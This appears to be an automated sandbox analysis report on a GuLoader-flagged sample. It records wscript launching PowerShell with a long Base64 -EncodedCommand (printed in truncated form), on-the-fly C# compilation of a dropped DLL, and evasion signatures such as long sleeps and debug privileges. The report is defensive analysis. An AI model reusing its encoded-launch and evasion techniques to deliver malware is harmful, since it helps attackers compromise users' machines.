Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: Binary string: k7C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.pdb source: powershell.exe, 00000010.00000002.758423763.000000000554C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.758073857.000000000536C000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000010.00000002.763535179.0000000009970000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_04F226C9 push D004FB35h; retf 16_2_04F226D5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_04F22097 push 0C00005Eh; retf 16_2_04F220A1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_07EFE598 pushad ; ret 16_2_07EFE599
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 16_2_07EF545A pushfd ; iretd 16_2_07EF5469
Compiles C# or VB.Net code
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.cmdline
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.dll Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\wscript.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 731 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5996 Thread sleep time: -11990383647911201s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5996 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nmk1nqgs\nmk1nqgs.dll Jump to dropped file
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: powershell.exe, 00000010.00000002.757258525.000000000513D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: k:C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Hyper-V
Source: powershell.exe, 00000010.00000002.757258525.000000000513D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Encrypted powershell cmdline option found
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #Nandinme5 Bobleka Artikuler hotm Formnin4 Vigesimoki6 stom Echinit6 pronativ Pyro Texttv7 Elevatorfr RAMRODSA Qekursuss beanpo Skrk2 polari medeola Lora Raphi6 #defa pied Tandkdsbe Unimmor Badgerb6 exclus Chondrog8 AEROLO FISHERMANI FAGINTEGR Incepto3 Snurl6 Bisexua dosser gavel metafore tran atak Seismi2 Nonfabul Digtek3 REGNSKA Phytome9 Murae Halv8 VOCIFERATE WOODCRAFT hardheart Knib sejt #Immervk8 Sprogfl REDSHI siffleus Super rifters Grouch Proeveti PROTENSI Lydbillede SUBELECTR Rammetchor CISSESAR Bred jordfste Antisens LOXO #Splurgypy7 Septen Dims Tebrevsunc2 Stttep2 likvide Aftvi pantog vejbyg coco ISBRY PASS Pinf munikat unse GULDR Melodiou panimete Raftesoste avancement Enteasubpr MYCE Tidlnnede3 odyssen dryptrren perso #horn Centr4 Henrykkesl8 FORDAMPNIN Intrafol Caldron infr valg SISYRI Genoako skadegrer Underafsni2 Vaccinat drillerier CHAI #Detoxif afmali Hmmetn Alkoholtyp9 linie TAARN mero Spectro8 stjern Positio Autobio utakne Humanhoo3 ompl Bevisfrels3 Brillefode6 EJENDOMS Turistk4 chantant bondesta BILFRAGTER SIDHEPRE #Skident aanderfiau Tallwoo5 vinologist LOYALE Valeri4 lavin Baar9 forventel Nonconv #PERSONNAV idemp start choyainti loxict Hestebre1 Foelebal Mois Lallet Obelisk3 drikk Lanasr #bestraalin STRMPEH VEDL Myelo Dish Accept1 Unpl3 ARBEJDSLSH Anmeldelse SKOVHYTTE prsteskab Publicis8 Umindel4 #sportsma Dkningss4 Deposi1 regningsfu suspe Deba requir Saltstenm1 RDEPANGI #Selvmodsig SUBD kvksfinge Anom thailnde Ondu nonp WINDB
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #Nandinme5 Bobleka Artikuler hotm Formnin4 Vigesimoki6 stom Echinit6 pronativ Pyro Texttv7 Elevatorfr RAMRODSA Qekursuss beanpo Skrk2 polari medeola Lora Raphi6 #defa pied Tandkdsbe Unimmor Badgerb6 exclus Chondrog8 AEROLO FISHERMANI FAGINTEGR Incepto3 Snurl6 Bisexua dosser gavel metafore tran atak Seismi2 Nonfabul Digtek3 REGNSKA Phytome9 Murae Halv8 VOCIFERATE WOODCRAFT hardheart Knib sejt #Immervk8 Sprogfl REDSHI siffleus Super rifters Grouch Proeveti PROTENSI Lydbillede SUBELECTR Rammetchor CISSESAR Bred jordfste Antisens LOXO #Splurgypy7 Septen Dims Tebrevsunc2 Stttep2 likvide Aftvi pantog vejbyg coco ISBRY PASS Pinf munikat unse GULDR Melodiou panimete Raftesoste avancement Enteasubpr MYCE Tidlnnede3 odyssen dryptrren perso #horn Centr4 Henrykkesl8 FORDAMPNIN Intrafol Caldron infr valg SISYRI Genoako skadegrer Underafsni2 Vaccinat drillerier CHAI #Detoxif afmali Hmmetn Alkoholtyp9 linie TAARN mero Spectro8 stjern Positio Autobio utakne Humanhoo3 ompl Bevisfrels3 Brillefode6 EJENDOMS Turistk4 chantant bondesta BILFRAGTER SIDHEPRE #Skident aanderfiau Tallwoo5 vinologist LOYALE Valeri4 lavin Baar9 forventel Nonconv #PERSONNAV idemp start choyainti loxict Hestebre1 Foelebal Mois Lallet Obelisk3 drikk Lanasr #bestraalin STRMPEH VEDL Myelo Dish Accept1 Unpl3 ARBEJDSLSH Anmeldelse SKOVHYTTE prsteskab Publicis8 Umindel4 #sportsma Dkningss4 Deposi1 regningsfu suspe Deba requir Saltstenm1 RDEPANGI #Selvmodsig SUBD kvksfinge Anom thailnde Ondu nonp WINDB Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAAQwBJAFMAUwBFAFMAQQBSACAAQgByAGUAZAAgAGoAbwByAGQAZgBzAHQAZQAgAEEAbgB0AGkAcwBlAG4AcwAgAEwATwBYAE8AIAANAAoAIwBTAHAAbAB1AHIAZwB5AHAAeQA3ACAAUwBlAHAAdABlAG4AIABEAGkAbQBzACAAVABlAGIAcgBlAHYAcwB1AG4AYwAyACAAUwB0AHQAdABlAHAAMgAgAGwAaQBrAHYAaQBkAGUAIABBAGYAdAB2AGkAIABwAGEAbgB0AG8AZwAgAHYAZQBqAGIAeQBnACAAYwBvAGMAbwAgAEkAUwBCAFIAWQAgAFAAQQBTAFMAIABQAGkAbgBmACAAbQB1AG4AaQBrAGEAdAAgAHUAbgBzAGUAIABHAFUATABEAFIAIABNAGUAbABvAGQAaQBvAHUAIABwAGEAbgBpAG0AZQB0AGUAIABSAGEAZgB0AGUAcwBvAHMAdABlACAAYQB2AGEAbgBjAGUAbQBlAG4AdAAgAEUAbgB0AGUAYQBzAHUAYgBwAHIAIABNAFkAQwBFACAAVABpAGQAbABuAG4AZQBkAGUAMwAgAG8AZAB5AHMAcwBlAG4AIABkAHIAeQBwAHQAcgByAGUAbgAgAHAAZQByAHMAbwAgAA0ACgAjAGgAbwByAG4AIABDAGUAbgB0AHIANAAgAEgAZQBuAHIAeQBrAGsAZQBzAGwAOAAgAEYATwBSAEQAQQBNAFAATgBJAE4AIABJAG4AdAByAGEAZgBvAGwAIABDAGEAbABkAHIAbwBuACAAaQBuAGYAcgAgAHYAYQBsAGcAIABTAEkAUwBZAFIASQAgAEcAZQBuAG8AYQBrAG8AIABzAGsAYQBkAGUAZwByAGUAcgAgAFUAbgBkAGUAcgBhAGYAcwBuAGkAMgAgAFYAYQBjAGMAaQBuAGEAdAAgAGQAcgBpAGwAbABlAHIAaQBlAHIAIABDAEgAQQBJACAADQAKACMARABlAHQAbwB4AGkAZgAgAGEAZgBtAGEAbABpACAASABtAG0AZQB0AG4AIABBAGwAawBvAGgAbwBsAHQAeQBwADkAIABsAGkAbgBpAGUAIABUAEEAQQBSAE4AIABtAGUAcgBvACAAUwBwAGUAYwB0AHIAbwA4ACAAcwB0AGoAZQByAG4AIABQAG8AcwBpAHQAaQBvACAAQQB1AHQAbwBiAGkAbwAgAHUAdABhAGsAbgBlACAASAB1AG0AYQBuAGgAbwBvADMAIABvAG0AcABsACAAQgBlAHYAaQBzAGYAcgBlAGwAcwAzACAAQgByAGkAbABsAGUAZgBvAGQAZQA2ACAARQBKAEUATgBEAE8ATQBTACAAVAB1AHIAaQBzAHQAawA0ACAAYwBoAGEAbgB0AGEAbgB0ACAAYgBvAG4AZABlAHMAdABhACAAQgBJAEwARgBSAEEARwBUAEUAUgAgAFMASQBEAEgARQBQAFIARQAgAA0ACgAjAFMAawBpAGQAZQBuAHQAIABhAGEAbg
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGEAbgBkAGkAbgBtAGUANQAgAEIAbwBiAGwAZQBrAGEAIABBAHIAdABpAGsAdQBsAGUAcgAgAGgAbwB0AG0AIABGAG8AcgBtAG4AaQBuADQAIABWAGkAZwBlAHMAaQBtAG8AawBpADYAIABzAHQAbwBtACAARQBjAGgAaQBuAGkAdAA2ACAAcAByAG8AbgBhAHQAaQB2ACAAUAB5AHIAbwAgAFQAZQB4AHQAdAB2ADcAIABFAGwAZQB2AGEAdABvAHIAZgByACAAUgBBAE0AUgBPAEQAUwBBACAAUQBlAGsAdQByAHMAdQBzAHMAIABiAGUAYQBuAHAAbwAgAFMAawByAGsAMgAgAHAAbwBsAGEAcgBpACAAbQBlAGQAZQBvAGwAYQAgAEwAbwByAGEAIABSAGEAcABoAGkANgAgAA0ACgAjAGQAZQBmAGEAIABwAGkAZQBkACAAVABhAG4AZABrAGQAcwBiAGUAIABVAG4AaQBtAG0AbwByACAAQgBhAGQAZwBlAHIAYgA2ACAAZQB4AGMAbAB1AHMAIABDAGgAbwBuAGQAcgBvAGcAOAAgAEEARQBSAE8ATABPACAARgBJAFMASABFAFIATQBBAE4ASQAgAEYAQQBHAEkATgBUAEUARwBSACAASQBuAGMAZQBwAHQAbwAzACAAUwBuAHUAcgBsADYAIABCAGkAcwBlAHgAdQBhACAAZABvAHMAcwBlAHIAIABnAGEAdgBlAGwAIABtAGUAdABhAGYAbwByAGUAIAB0AHIAYQBuACAAYQB0AGEAawAgAFMAZQBpAHMAbQBpADIAIABOAG8AbgBmAGEAYgB1AGwAIABEAGkAZwB0AGUAawAzACAAUgBFAEcATgBTAEsAQQAgAFAAaAB5AHQAbwBtAGUAOQAgAE0AdQByAGEAZQAgAEgAYQBsAHYAOAAgAFYATwBDAEkARgBFAFIAQQBUAEUAIABXAE8ATwBEAEMAUgBBAEYAVAAgAGgAYQByAGQAaABlAGEAcgB0ACAASwBuAGkAYgAgAHMAZQBqAHQAIAANAAoAIwBJAG0AbQBlAHIAdgBrADgAIABTAHAAcgBvAGcAZgBsACAAUgBFAEQAUwBIAEkAIABzAGkAZgBmAGwAZQB1AHMAIABTAHUAcABlAHIAIAByAGkAZgB0AGUAcgBzACAARwByAG8AdQBjAGgAIABQAHIAbwBlAHYAZQB0AGkAIABQAFIATwBUAEUATgBTAEkAIABMAHkAZABiAGkAbABsAGUAZABlACAAUwBVAEIARQBMAEUAQwBUAFIAIABSAGEAbQBtAGUAdABjAGgAbwByACAA